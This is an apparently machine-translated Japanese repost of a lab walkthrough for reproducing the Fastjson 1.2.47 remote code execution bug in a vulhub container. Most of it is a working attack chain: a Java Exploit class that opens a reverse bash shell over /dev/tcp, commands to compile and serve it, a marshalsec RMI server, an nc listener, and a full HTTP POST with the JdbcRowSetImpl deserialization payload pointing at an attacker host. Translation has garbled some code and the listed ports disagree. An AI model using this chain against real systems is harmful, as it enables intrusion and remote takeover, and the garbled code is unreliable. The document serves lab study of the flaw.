Fastjson 1.2.47におけるリモートコマンド実行の脆弱性

Fastjson 1.2.47にはこのバージョンのcom.sun.jndi.rmi.object.trustURLCodebase制限がないため、この脆弱性の原因となりました。具体的な分析については、記事を参照してください

https://www.freebuf.com/vuls/208339.html

 

前提条件(いくつかのピットを踏まないでください)

この脆弱性を再現する前に、Fastjson 1.2.24のデシリアライズを再現することをお勧めします。これは、2つの脆弱性の再現方法が非常に似ているためです。

1. java 1.8バージョンでなければなりません。そうでない場合、一部のコマンドはコンパイルおよび実行できません。java-version viewバージョン

2.すべてのツールとコンパイル済みパッケージは同じディレクトリにある必要があります

marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.java

Exploit.class

 

環境構築

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

IPへの完全なアクセスを構築:ポート8090

 

 

 

繰り返し参照

https://www.cnblogs.com/websecyw/p/11905014.html

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

 

1.経験を得る

git clone https://github.com/CaijiOrz/fastjson-1.2.47-RCE  

実際、このexpはシェルをリバウンドするコードです

public  class Exploit {
     public Exploit(){
         try { 
            Runtime.getRuntime()。exec(" / bin / bash -c $ @ | bash 0 echo bash -i>&/ dev / tcp / 127.0.0.1 / 8888 0>&1 " ); 
        } catch (例外e){ 
            e.printStackTrace(); 
        } 
    } 
    public  static  void main(String [] argv){ 
        Exploit e = new Exploit(); 
    } 
}

2.   vpsIPとポートに変更されたvim  Exploit.java

3.javac  Exploit.java   をクラスファイルにコンパイル

 

 

 4. python -m SimpleHTTPServer 4444 Open http service

5. java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http:// vpsIP:4444 /#Exploit" 9999

 

 

 6. nc -lvnp 7777を監視する

7. POCを送信します。リバウンドしてシェルになります

 

データパケット全体を書き込み、赤い文字のアドレスとポートを使用時に直接変更します。

POST / HTTP / 1.1 
Host:目标ip 
User -Agent:Mozilla / 5.0(Windows NT 6.2 ; WOW64; rv:18.0)Gecko / 20100101 Firefox / 18.0 
Accept:text / html、application / xhtml + xml、application / xml; q = 0.9、* / * ; q = 0.8 
Accept-Language:zh-cn、zh; q = 0.8、en-us; q = 0.5、en; q = 0.3 
Accept-Encoding:gzip、deflate 
Connection:close 
Content-Type :application / json 
Content-Length:264 

{ 
    "a":{ 
        "@type": "java.lang.Class"、
        "val": "com.sun.rowset.JdbcRowSetImpl" 
    }、
    "b":{
        "@type": "com.sun.rowset.JdbcRowSetImpl"、
        "dataSourceName": "rmi:// vpsIP:9999 / Exploit"、
        "autoCommit":true 
    } 
}

8.成功したリバウンドシェル

おすすめ

転載: www.cnblogs.com/null1433/p/12697682.html